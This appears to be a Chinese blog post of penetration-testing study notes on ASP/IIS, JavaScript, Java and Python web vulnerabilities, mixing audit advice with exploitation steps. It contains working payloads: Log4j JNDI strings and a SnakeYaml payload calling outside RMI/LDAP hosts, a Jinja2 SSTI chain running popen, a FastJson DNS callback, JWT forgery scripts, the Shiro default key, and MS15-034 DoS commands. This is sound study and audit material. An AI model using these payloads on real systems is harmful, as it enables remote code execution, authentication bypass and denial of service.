语言安全

ASP

1. MDB 数据库泄漏下载

大部分 ASP 程序与 ACCESS 数据库搭配,ACCESS 无需额外配置,直接在脚本中定义数据库路径即可使用。问题根源:预设的数据库路径通常未被修改,当攻击者知道完整路径时,可直接远程下载数据库文件并解密其中数据。

2. IIS 中间件漏洞

2.1 HTTP.sys 远程代码执行(CVE-2015-1635)

漏洞描述:HTTP 协议堆栈(HTTP.sys)未正确解析经特殊构造的 HTTP 请求,成功利用可在系统账户上下文中执行任意代码。

影响版本:安装了 IIS 6.0 及以上的 Windows 7、Server 2008 R2、Windows 8、Server 2012、Windows 8.1、Server 2012 R2

验证方法

curl targetIP -H "Host: targetIP" -H "Range: bytes=0-18446744073709551615"

返回 416 状态码则存在漏洞。

MSF 利用

msfconsole
use auxiliary/dos/http/ms15_034_ulonglongadd
set rhosts <target_ip>
set rport <port>
run

2.2 IIS 短文件名信息泄露

漏洞原理:HTTP 请求中旧 DOS 8.3 命名约定(SFN)的波浪号(~)字符引起。Windows 为兼容 16 位 MS-DOS 程序,会为长文件名生成对应的 8.3 短文件名(可用 dir /x 查看),攻击者可通过枚举波浪号路径探测 Web 根目录下的文件和文件夹名称。

应用场景:后台路径获取、数据库文件获取、其他敏感文件获取。

利用工具

2.3 IIS 文件解析漏洞

IIS 6

  • *.asp;.jpg 格式的文件名会被当作 ASP 解析
  • *.asp/ 目录下的所有文件会被当作 ASP 解析
  • 示例:logo.asp;.jpgxx.asp/logo.jpg

IIS 7.x

  • 在文件路径后追加 /xx.php,如 /xx.jpg/xx.php,会将该路径解析为 PHP 文件
  • 应用场景:配合文件上传获取 Webshell

2.4 IIS 写权限漏洞

条件:IIS ≤ 6.0,目录权限开启写入,且开启 WebDAV 并设置为允许。

参考利用

3. ACCESS 数据库 SQL 注入

ACCESS 数据库无管理账号密码,数据层级为:表名 → 列名(字段)→ 数据

注入时一般采用字典猜解表名和列名再获取数据,猜解简单但存在猜不到的风险。实战中直接使用 SQLmap:

python sqlmap.py -u "<url>" --tables                    # 获取表名
python sqlmap.py -u "<url>" --columns -T admin          # 获取 admin 表的列名
python sqlmap.py -u "<url>" --dump -C "<col>" -T admin  # 获取指定列数据

JS

前置知识

image.png

作用域(本地 & 全局)

运行后相关的数据值,分为本地作用域和全局作用域。

调用堆栈(由下到上)

代码的执行逻辑顺序,从栈底到栈顶依次执行。

image.png

常见分析调试方法

方法 说明
代码全局搜索 对可能的功能性命名函数名进行分析
文件流程断点 在网络→发起程序的调用堆栈中分析、打断点
代码标签断点 对相关功能处"检查"后打断点,断点范围:登录到数据获取之间
XHR 提交断点 在传输文件中找类型为 xhr 的可疑功能性地址,在源代码选项的 XHR 断点处添加,断点范围:发送数据到服务器之间

:fetch 类型同样适用,fetch 和 XHR 都基于 JavaScript 执行网络请求,底层机制类似,调试工具会统一处理。

JS 安全测试目的

  • 密码登录的枚举爆破
  • 参数提交漏洞检测
  • 泄漏 URL 挖掘与扩展测试

1. JS 逆向 - 登录算法分析

1.1 流程断点 & 全局搜索

  • 流程断点:审查元素 → 抓网络请求包 → 发起程序 → 调用堆栈中逐层分析
  • 全局搜索:通过抓包获得的参数名,在源代码中进行全局搜索定位加密函数

1.2 标签断点 & XHR 断点

  • 标签断点:审查元素 → 找到对应登录按钮标签 → 右键加入断点
  • XHR 断点:审查元素 → 源代码选项 → 添加 XHR 断点配置

2. JS 逆向 - 结合 BurpSuite 插件爆破

适用场景:登录参数存在加密(如 RSA、AES),需还原加密算法后配合 Burp 进行爆破。

操作步骤

  1. 下载 phantomjs 并配置环境变量

  2. BurpSuite 加载 jsEncrypter 插件

  3. 逆向提取目标站点的加密算法,保存为 JS 文件并放置到 jsEncrypter 插件目录下

  4. 补全模板文件 phantomjs_server.js(引用 JS 文件并调用加密函数):

    image.png
  5. 运行模板文件后在插件中测试连通性:

    :须先在命令行执行 phantomjs .\phantomjs_server.js 显示 successful,再去 BP 插件中测试连通性

    image.png
  6. Intruder 正常设置发包后,Payload 处选择引用 jsEncrypter 插件,正常爆破即可

    image.png

    image.png

3. JS 逆向 - 反调试检测 & 绕过

反调试实现原理

反调试的目的是防止他人对代码进行调试和动态分析,常见实现方式:

  • 键盘监听(F12)
  • 检测浏览器窗口的高度插值
  • 检测开发者工具变量是否为 true
  • 利用 console.log 调用次数检测
  • 利用代码运行时间差检测
  • 利用 toString 检测
  • 检测非浏览器环境
%%{init: {'flowchart': {'curve': 'basis'}}}%% flowchart LR %% 定义节点与层级关系,文本加上双引号防止特殊字符报错 LeftNode["三、隐形(暗装)"] --- Root(("反调试")) Root --- RightTop["一、检测是否在调试"] Root --- RightBot["二、显性"] RightBot --- Sub1["2.1 debugger:"] RightBot --- Sub2["2.2 死循环"] Sub1 --- Skip["跳过Debugger的方式"] Skip --- Skip1["2.1.1非虚拟机"] Skip --- Skip2["2.1.2虚拟机(eval() Function())"] %% 定义样式以贴近原图 style Root fill:#ef232a,color:#fff,stroke:none,stroke-width:0px style LeftNode fill:#e5e5e5,stroke:none,rx:5,ry:5 style RightTop fill:#e5e5e5,stroke:none,rx:5,ry:5 style RightBot fill:#e5e5e5,stroke:none,rx:5,ry:5 style Sub1 fill:#f4f4f4,stroke:none,rx:5,ry:5 style Sub2 fill:#f4f4f4,stroke:none,rx:5,ry:5 style Skip fill:none,stroke:none style Skip1 fill:#f4f4f4,stroke:none,rx:5,ry:5 style Skip2 fill:#f4f4f4,stroke:none,rx:5,ry:5

常见绕过方法

通用技巧:无法打开调试页面时,可先打开新标签页并开启开发者工具,再导航到目标网页。

① 禁用断点法

在 Sources 面板中禁用所有断点,只能查看源码,无法断点调试。

② 条件断点法

选中 debugger 语句 → 右键添加条件断点 → 将条件设置为 false,使该断点永不触发。

image.png image.png

③ 此处暂停法

右键断点处 → 选择"一律不在此处暂停",跳过该断点执行。

image.png

④ 置空函数法

在控制台中找到反调试函数,将其覆盖为空函数:

debugger = function x() {
    return null;
}

⑤ 本地覆盖法

导出源文件 → 删除反调试相关代码 → 利用 DevTools 的本地覆盖(Local Overrides)功能替换原文件。

image.png

4. JS 逆向 - 代码混淆识别 & 还原

代码混淆在反调试基础上进一步防止他人分析代码逻辑,使反调试功能难以被定位删除。

类型 工具/资源
开源混淆 JJEncode、AAEncode、JSFuck
在线解析 sojson.com
商业加密 jsjiami.com
商业解密 jsdec.js.org

5. JS 安全案例

image.png

核心逻辑:JS 中存在可控变量及函数调用时,即可导致参数漏洞。

JS 应用与 PHP/Java 的核心区别:JS 代码可直接通过浏览器查看,相当于对 JS 开发的 Web 应用做白盒测试,攻击面更广。

主要安全测试方向

方向 说明
扩大攻击面 从 JS 中提取更多 URL、接口,分析调试代码逻辑
敏感信息泄露 用户密码、AK/SK、Token/Session 等
潜在危险函数 evaldangerouslySetInnerHTML
开发框架漏洞 寻找 Vue、NodeJS、Angular 等框架的历史漏洞

常用工具

  • Webpack 打包器扫描PackerFuzzer
  • AK/SK 云安全利用:狐狸工具箱
  • 浏览器插件(前期 JS 信息收集):Pentestkit、FindSomething、Wappalyzer

Java

1. SQL 注入

1.1 JDBC

JDBC 有三种操作数据库的方式,均可能引发注入:

① Statement:直接拼接 SQL 语句,最危险。

② PreparedStatement:本身会对 SQL 进行预编译,但若仍以字符串拼接方式构造 SQL,预编译则形同虚设。

③ JDBCTemplate:Spring 对 JDBC 的封装,同样在使用拼接语句时产生注入。

安全写法:预编译中使用占位符 ? + PreparedStatement

白盒审计要点:直接看数据库语句写法,凡出现直接拼接而非占位符的,均存在注入风险。

1.2 MyBatis

MyBatis 支持两种参数符号:

  • #{} :使用预编译,安全
  • ${} :直接拼接 SQL,存在注入风险

三种常见的必须用 $ 导致注入的场景:

① order by 注入

#{} 会将字段名转为字符串(如 order by "user" desc)导致报错,开发者为解决报错改用 ${},从而引入注入。

② like 注入

模糊搜索时 %#{q}% 会报错,部分开发图方便直接改为 %${q}%,导致注入。

③ in 注入

in (#{ids}) 多个 id 查询时报错,改为 (${ids}) 后不报错,但引入注入。

开发修复方法:先用 $ 传入,再用 # 过滤处理。

白盒审计方法:全局搜索 ${,重点关注其是否出现在 order bylikein 语句中,出现即为高危;#{} 可直接跳过。

2. XXE 注入

漏洞原理:开发者配置 XML 解析时允许外部实体引用,攻击者可利用此实施任意文件读取、内网端口探测、命令执行、拒绝服务等攻击。

白盒审计关键函数

SAXParser、XMLReader、SAXReader、SAXBuilder、Unmarshaller、DocumentBuilder

3. SSTI 服务端模板注入(Thymeleaf)

漏洞原理:服务端接收用户输入并将其作为模板内容的一部分,在编译渲染过程中执行了用户插入的恶意内容。

核心结论:问题在于模板变量是否可控——变量固定则安全,变量可被用户输入控制则存在注入。

两种典型场景:

  • URL 作视图:将用户可控的路径参数直接作为模板视图名返回
  • Velocity / Thymeleaf:模板中直接引用了用户可控变量

白盒:审计是否使用模板引擎,用的什么类型,变量是否可控,有无过滤防御。

黑盒:信息收集识别框架,实操性较低。

参考其他语言 SSTI

4. SpEL 表达式注入(SpringBoot)

漏洞原理:SpEL(Spring Expression Language)是一种功能强大的表达式语言,用于在运行时查询和操作对象图。若参数未做过滤,可造成任意命令执行,类似 PHP 的 eval

白盒审计关键类/方法

SpelExpressionParser、getValue

注意两种利用方式:

  • 直接注入:参数可控时直接构造 SpEL 表达式
  • 反射绕过:常规注入被过滤拦截时,通过反射方式绕过过滤器

5. RCE 远程代码执行

五大执行类

RuntimeExec、LoadJsExec、GroovyExec、ProcessImpl、ProcessBuilder
测试方式 思路
黑盒 观察参数名和参数值是否有明显命令执行特征(实际较难)
白盒 全局搜索上述类函数名,追踪其参数是否可控

6. JNDI 注入

基础概念

  • JNDI(Java Naming and Directory Interface):Java 命名和目录接口,为开发人员提供统一的资源查找接口,支持 DNS、LDAP、CORBA、RMI 等服务。
  • RMI:远程方法调用注册表
  • LDAP:轻量级目录访问协议

漏洞原理:Java 提供 Naming Reference 功能,允许对象通过绑定 Reference 存储在命名/目录服务中。若 InitialContext.lookup() 的参数可被用户控制,攻击者可传入恶意 RMI/LDAP 地址,使服务器主动请求并加载攻击者控制的远程类,触发 RCE。

RMI 服务中存在风险的类

org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

LDAP 服务中存在风险的类

InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()

:JNDI 本身不是漏洞,而是漏洞利用阶段的手段。

黑盒:无明确思路。

白盒:全局搜索 lookup(),追踪参数是否可控。

利用工具JNDI-Injection-Exploit

7. 五大不安全组件

7.1 Log4j

简介:Apache 开源的基于 Java 的日志记录框架。

漏洞原理:Log4j 在处理日志时会解析形如 ${variable} 的内容。攻击者通过构造恶意日志数据(如 ${jndi:ldap://攻击者服务器/恶意类}),触发 Log4j 默认启用的 JNDI Lookup 功能,诱使应用从远程服务器加载并执行恶意 Java 类,最终实现 RCE。

黑盒测试:由于不知道目标会记录哪些字段,任何有数据提交的地方都应测试。因为无回显,使用 DNSLog 进行带外验证,或使用 YAKIT 工具。

历史漏洞

7.2 Shiro

简介:Java 安全框架,用于身份验证、授权、加密和会话管理。

漏洞原理(Shiro-550 / CVE-2016-4437):Shiro 的 RememberMe 功能使用 AES 加密序列化数据存储身份凭证,但默认密钥硬编码(如 kPH+bIxk5D2deZiIxcaaaA==)。攻击者用已知密钥加密恶意序列化对象伪造 Cookie,Shiro 解密反序列化时触发利用链(如 CommonsBeanutils/CommonsCollections),实现 RCE。

两个主要版本的利用差异

  • Shiro-550:使用默认硬编码密钥,无需登录即可利用
  • Shiro-721:密钥随机生成,可尝试用登录成功后的合法 Cookie 反向爆破密钥

黑盒识别:Cookie 或负载中是否存在 rememberMe 参数(强特征),将其值改为 1 后若响应包返回 rememberMe=deleteMe 字段,可确认存在 Shiro 框架。

image.png

历史漏洞

7.3 Jackson

简介:主流 JSON 序列化/反序列化库。

漏洞原理(CVE-2017-7525):启用 enableDefaultTyping 或使用 @JsonTypeInfo 注解时,攻击者通过 JSON 中的 @class 字段指定任意类名,Jackson 反序列化时动态加载并实例化该类。若指向危险类(如 FileSystemXmlApplicationContext),可触发调用链导致 RCE 或文件读写。

黑盒测试:无明确特征,凡数据包中使用 JSON 格式传参均可尝试测试。

历史漏洞

7.4 FastJson

简介:阿里巴巴开源的 JSON 解析器,支持 JavaBean 与 JSON 字符串的互相转换。

漏洞原理(CVE-2017-18349):特定版本默认开启 autoType 机制,攻击者构造含恶意类名(@type 字段)的 JSON 数据,解析时自动实例化并执行该类的构造方法/setter/getter。若类路径存在危险类(如 TemplatesImpl),可利用链式调用加载字节码实现 RCE。

黑盒识别:通常无明显特征,但可构造一个错误的 POST 请求,观察响应包中是否出现 fastjson 字样。

历史漏洞

7.5 XStream

简介:开源 Java 类库,用于对象与 XML 的互相序列化/反序列化。

漏洞原理(CVE-2021-39144):XStream 默认允许还原任意类型对象,攻击者通过 XML 标签指定 Java 核心库中的危险类(如 java.beans.EventHandler),利用其内部隐式调用链执行反射操作,无需复杂链构造即可触发任意代码执行。

黑盒测试:无明确特征,凡数据包中使用 XML 格式传参均可尝试测试。

历史漏洞

7.6 白盒审计不安全组件

FastJson 审计步骤

  1. 查看引用组件版本及关键函数:JSON.parseJSON.parseObject
  2. 追踪可控变量及访问路径
  3. 构造 DNS 出网测试验证漏洞:
{"@type":"java.net.Inet4Address","val":"xxxx.dnstunnel.run"}

Log4j 审计步骤

  1. 查看引用组件版本及关键函数:logger.infologger.error
  2. 追踪可控变量及访问路径(如文件上传接口中的 originalFileName
  3. 构造 JNDI 出网测试验证漏洞:
${jndi:ldap://xxxx.dnstunnel.run}
${jndi:rmi://47.94.236.117:1099/l6v1wz}

7.7 通用技巧

无回显时的常见解决方法

  1. 将执行结果写入静态资源文件(如 HTML、js),再访问该文件读取结果
  2. 通过 DNSLog 进行数据外带(需目标能发起 DNS 请求)
  3. 将命令执行结果回显到请求 PoC 的 HTTP 响应中

不回显判断细节方法

Webshell 不出网时的解决方法

  1. 上传 reGeorg,使用 SOCKS 正向代理,配合 Proxifier 实现远控
  2. 检测出网协议(DNS、ICMP 等),利用可出网的协议进行隧道传输
  3. 不出网各种姿势参考

8. 反序列化 - 原生序列化类函数

Java 序列化特征:序列化数据以 ac ed 00 05 开头,Base64 编码后特征为 rO0AB

漏洞发现

  • 黑盒:捕获流量,观察是否存在上述特征标记
  • 白盒:全局搜索下列关键类/函数

8.1 SnakeYaml

完整的 YAML 1.1 规范处理器,支持 Java 对象的序列化/反序列化,使用 load() 函数时触发漏洞。

Payload 示例

!!com.sun.rowset.JdbcRowSetImpl{dataSourceName: 'rmi://192.168.120.1:1099/xxxxx', autoCommit: true}

8.2 XMLDecoder

XML 格式序列化类函数接口,使用 readObject() 函数时触发漏洞。实际测试时直接执行 payload,在其中修改命令内容即可。

8.3 ObjectInputStream.readObject

任何类若想支持序列化/反序列化,必须实现 java.io.Serializable 接口。ObjectInputStream 使用 readObject() 函数进行反序列化时触发漏洞。

利用工具(均基于 ysoserial 实现):

:使用什么利用链生成 payload,取决于代码审计结果——看目标项目引入了哪些库,若存在满足条件的依赖库,则可尝试对应链生成 payload 进行 RCE 测试。不知道版本时可尝试通用链,但成功率不保证。

9. SpringBoot 框架 & Actuator 模块

Actuator 简介:SpringBoot 提供的生产级监控模块,包含健康检查、审计、指标收集、HTTP 跟踪等功能。配置不当时导致信息泄露乃至 RCE。

检测清单参考

9.1 漏洞发现

黑盒识别

  • 页面特征body="Whitelabel Error Page"

    image.png
  • 图标 Hashicon_hash="116323821"

image.png

白盒识别:查看 pom.xml 是否引入 Actuator 依赖:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-actuator</artifactId>
</dependency>

同时检查配置文件是否存在全量暴露端点的不安全配置:

management.endpoints.web.exposure.include=*

该配置会暴露所有管理端点(health、info、env、metrics、beans、mappings 等),导致敏感信息泄露。

9.2 泄漏利用(配置、密码、AK/SK 等)

9.3 漏洞利用(CVE 漏洞等)

:上述工具并非直接利用 SpringBoot 漏洞,而是通过信息泄露/审计发现目标使用了存在漏洞的组件类,进而利用。

10. Druid 监控 - 未授权访问 & 信息泄露

实战少见

简介:阿里巴巴出品的数据库连接池,提供 SQL 执行监控、Web URI 请求监控、Session 监控等功能。配置不当时导致未授权访问。

黑盒测试

  1. 直接拼接路径 /druid/index.html,尝试未授权访问

    image.png

  2. 结合泄露的 URL 路径和 Session 信息,用 BurpSuite 尝试登录

  3. 利用 Cookie 编辑器替换 Session,尝试直接进入后台

白盒审计

在配置文件中搜索 druid,查看是否配置了登录验证:

image.png

11. Swagger 接口 - 导入 & 联动批量测试

简介:用于生成、描述和调用 RESTful 接口的 Web 服务,默认地址为 /swagger-ui.html,将项目接口全部展示并支持在线调用。

测试目的:对暴露的接口进行漏洞测试(未授权访问、SQL 注入、文件上传等)。由于接口数量庞大,通常采用自动化测试方案。

image.png

自动化发包测试Postman 导入 Swagger JSON 后批量发包

自动化漏洞测试:Postman 联动 BurpSuite + xray 进行被动扫描

黑盒发现:直接拼接 /swagger-ui.html 路径尝试访问

白盒审计:全局搜索 swagger 关键字

image.png

12. JWT 令牌安全

简介:JSON Web Token,遵循 JSON 格式,将用户信息加密到 Token 中。服务器不保存用户信息,只保存密钥,通过特定加密算法验证 Token 身份,可替代传统 Cookie + Session 方案。

漏洞危害:身份伪造、越权访问

12.1 JWT 结构

识别特征:头部和 Payload 均以 eyJ 开头,三段数据以 . 分隔。

部分 说明
Header(标头) 声明签名算法(如 HS256、RS256)及其他可选参数(kid、jku、x5u 等)。HS 为对称加密,RS 为非对称加密
Payload(载荷) 存储用户信息(id、用户名、角色等)及标准声明字段(iss、sub、exp、iat 等)
Signature(签名) 对 Header 和 Payload 做 Base64 编码后拼接,使用 Header 中声明的算法加盐签名

常用 Payload 字段

字段 含义
iss JWT 签发者
sub JWT 面向的用户
aud JWT 的接收方
exp 过期时间(时间戳)
iat 签发时间(时间戳)
jti JWT 唯一标识,用于防重放攻击

在线解析jwt.io | BP 插件:Hae 或 JSON Web Tokens

12.2 JWT 攻击方式

① 加密算法置空(alg=none)

将 Header 中 alg 字段改为 None,签名置空,服务端若未验证算法类型,任意 Token 均有效。

② 未校验签名

某些服务端不校验签名,可尝试修改 Payload 后直接发包,或直接删除 Signature 部分后重放请求。

③ 暴力破解密钥

针对对称加密算法(HS256 等)。若密钥强度不足,可通过字典爆破获取密钥,进而用该密钥重新签发任意 Payload 的 Token。RS256 等非对称算法此方法无效,但可尝试寻找公钥/私钥文件泄露。

④ 其他攻击

参考:源码泄露密钥、Kid 参数注入等。

12.3 JWT 利用工具

jwt_toolhttps://github.com/ticarpi/jwt_tool

# 使用 None 算法绕过签名
python3 jwt_tool.py JWT_HERE -X a
# 自定义修改 Payload 重新生成
python3 jwt_tool.py JWT_HERE -T
# 字典爆破密钥
python3 jwt_tool.py JWT_HERE -C -d dictionary.txt
# 指定密码测试
python3 jwt_tool.py JWT_HERE -C -p password_here

CTFshow 靶场练习参考

题目 考点
Web345 None 无签名认证
Web346 None 算法绕过签名
Web347 弱口令密钥获取
Web348 爆破密钥
Web349 公钥私钥泄露,访问 /private.key /public.key 获取密钥后重新签发
Web350 密钥混淆攻击:RS256 → HS256,用公钥作为 HS256 的对称密钥签发 Token

Web349 利用示例:

import jwt
public = open('private.key', 'r').read()
payload = {"user": "admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))

Web350 利用示例(前提:服务端未限定算法,直接用密钥解密):

var jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

12.4 黑盒 JWT 测试清单

找到需要 JWT 鉴权才能访问的页面(如个人资料页),将请求包重放并依次测试:

  1. 未授权访问:删除 Token 后是否仍能正常响应
  2. 敏感信息泄露:通过 jwt.io 解密 Payload,查看是否包含弱加密密码等敏感信息
  3. 破解密钥 + 越权访问:通过空加密算法或密钥爆破重新签发 Token,修改 Payload 中的用户标识,观察是否可越权访问其他用户数据
  4. Token 时效性:解密查看 Payload 中是否有 exp 字段,等待过期后再次发包,若仍有效则存在 Token 不过期漏洞
  5. 页面回显探测:修改 Payload 键值对后观察报错信息是否存在注入,关注 kid 字段的目录遍历与 SQL 注入问题

Python

主要在 CTF 和面试中出现,实战较少见

1. SSTI 服务端模板注入(Jinja2)

1.1 基础概念

定义:SSTI(Server Side Template Injection,服务器端模板注入)

原理:服务端接收用户输入,将其作为 Web 应用模板内容的一部分,在编译渲染过程中执行了用户插入的恶意内容。

注意:模板引擎和渲染函数本身没有漏洞,漏洞根源在于模板中的变量可被用户控制,导致代码注入。

影响范围:取决于模板引擎的复杂性。

各语言常见模板引擎

语言 模板引擎
PHP Smarty、Twig
Python Jinja2、Mako、Tornado、Django
Java Thymeleaf、Jade、Velocity、FreeMarker

其他靶场参考:websitesVulnerableToSSTI

1.2 漏洞形成示例

from flask import Flask, request, render_template_string
from jinja2 import Template
app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', default='xiaodi')
    t = '''
        <html>
            <h1> Hello %s </h1>
        </html>
        ''' % (name)
    # 将用户输入直接作为模板字符串渲染,导致 SSTI
    return render_template_string(t)

app.run()

1.3 漏洞发现与利用

步骤 0 - 发现漏洞:在 URL 中拼接 {{2*3}},若页面显示运算结果 6 而非原始字符串,则确认存在 SSTI。

步骤 1 - 枚举可用类

{{''.__class__.__base__.__subclasses__()}}

步骤 2 - 找到目标类索引:在结果中寻找可利用的类,如:

<class 'os._wrap_close'>

步骤 3 - 查看类的方法

{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__}}

步骤 4 - 构造利用

{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('calc').read()}}

其他写法

{{[].__class__.__base__.__subclasses__()}}
{{[].__class__.__base__.__subclasses__()[133].__init__.__globals__}}
{{[].__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('calc').read()}}

绕过限制参考1 | 参考2

1.4 黑盒自动化利用

SSTImap

1.5 白盒审计

审计源码是否使用相关框架的敏感渲染函数(如 render_template_string),以及是否对用户输入做了过滤。

1.6 Python 魔术方法速查表

方法/属性 说明
__class__ 返回实例对象所属的类
__base__ 返回类的直接父类
__bases__ 返回类的所有父类(元组形式)
__mro__ 方法解析顺序,返回类组成的元组,用于查找基类
__subclasses__() 返回该类所有直接子类的列表
__init__ 类的初始化方法,返回类型为 function
__globals__ 获取函数所处空间下可用的 module、方法及所有变量
__dict__ 存放类的静态函数、类函数、普通函数、全局变量及内置属性
__getattribute__() 实例/类/函数进行 . 操作时自动调用,可用于获取属性
__getitem__() 调用字典键值时触发,如 a['b'] 等价于 a.__getitem__('b')
__builtins__ 内建命名空间,包含所有内建函数的名称到对象的映射
__import__ 动态导入模块,如 __import__('os').popen('ls').read()
__str__() 返回对象的字符串描述
url_for Flask 方法,可获取 __builtins__,含 current_app
get_flashed_messages Flask 方法,可获取 __builtins__,含 current_app
lipsum Flask 方法,__globals__ 中含 os 模块,如 {{lipsum.__globals__['os'].popen('ls').read()}}
current_app Flask 应用上下文全局变量
request 可用于获取字符串绕过过滤,也可获取 open 函数
request.args.x1 GET 传参
request.values.x1 所有参数
request.cookies Cookie 参数
request.headers 请求头参数
request.form.x1 POST 传参(application/x-www-form-urlencodedmultipart/form-data
request.data POST 传参(Content-Type: a/b
request.json POST 传 JSON(Content-Type: application/json
config 当前应用的所有配置,也可用 {{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
g {{g}} 返回 <flask.g of 'flask_ssti'>

2. PYC 反编译还原源码

pyc 文件:py 文件编译后生成的字节码文件(byte code),经 Python 解释器生成机器码运行,可跨平台部署(类似 Java 的 .class 文件)。py 文件变动后会重新生成对应 pyc 文件。

安装

pip install uncompyle6

使用

uncompyle6 -o test.py test.pyc

工具下载

3. 反序列化 - 调用链 & 魔术方法

3.1 各语言序列化/反序列化函数对比

语言 常见函数/库
Java ObjectInputStream.readObjectXMLDecoder.read、fastjson、jackson、gson、Yaml.load、XStream.fromXML 等
PHP serialize()unserialize()
Python pickle、marshal、json、PyYAML、shelve、PIL
  • 序列化:把类对象转化为字节流或文件
  • 反序列化:将字节流或文件转化为类对象

3.2 Python 常用序列化函数

函数 说明
pickle.dump(obj, file) 将对象序列化后保存到文件
pickle.load(file) 将文件中的序列化内容反序列化为对象
pickle.dumps(obj) 将对象序列化成字节流字符串
pickle.loads(bytes_obj) 将字节流字符串反序列化为对象
PyYAML yaml.load() YAML 格式反序列化
JSON json.loads(s) JSON 格式反序列化
marshal marshal 模块序列化

3.3 触发反序列化的魔术方法

方法 触发时机
__reduce__() 反序列化时调用
__reduce_ex__() 反序列化时调用
__setstate__() 反序列化时调用(类似 PHP 的 __wakeup
__getstate__() 序列化时调用

黑盒识别特征:Python 反序列化数据通常以 Base64 编码呈现,固定前缀为 gA

测试方法:直接构造 payload 提交测试。

4. 格式化字符串漏洞

参考文章

Python 有四种格式化字符串方式,其中可控的格式化字符串会引发安全问题:

方式一:% 操作符(安全)

name = 'Bob'
'Hello, %s' % name
# => "Hello, Bob"

方式二:string.Template(安全)

from string import Template
name = 'Bob'
t = Template('Hey, $name!')
t.substitute(name=name)
# => 'Hey, Bob!'

方式三:str.format()(可控时危险)

正常用法:

name = 'Bob'
'Hello, {}'.format(name)
# => 'Hello, Bob'

危险案例:当格式化字符串本身可被用户控制时,可通过魔术方法访问任意对象属性:

config = {'SECRET_KEY': '12345'}

class User(object):
    def __init__(self, name):
        self.name = name

user = User('joe')
# 若格式化字符串可控,攻击者可构造如下 payload:
'{0.__class__.__init__.__globals__[config]}'.format(user)
# => "{'SECRET_KEY': '12345'}"

方式四:f-string(可控时危险)

正常用法:

a, b = 5, 10
f'Five plus ten is {a + b} and not {2 * (a + b)}.'
# => 'Five plus ten is 15 and not 30.'

危险案例:当 f-string 中的内容来自用户输入时:

# 接收用户传入的 cmd 参数,如传入 whoami
cmd = request.args.get('cmd')
print(f'{__import__("os").system(cmd)}')
# => 执行系统命令
posted @ 2025-12-02 09:20  shinianyunyan  阅读(177)  评论(0)    收藏  举报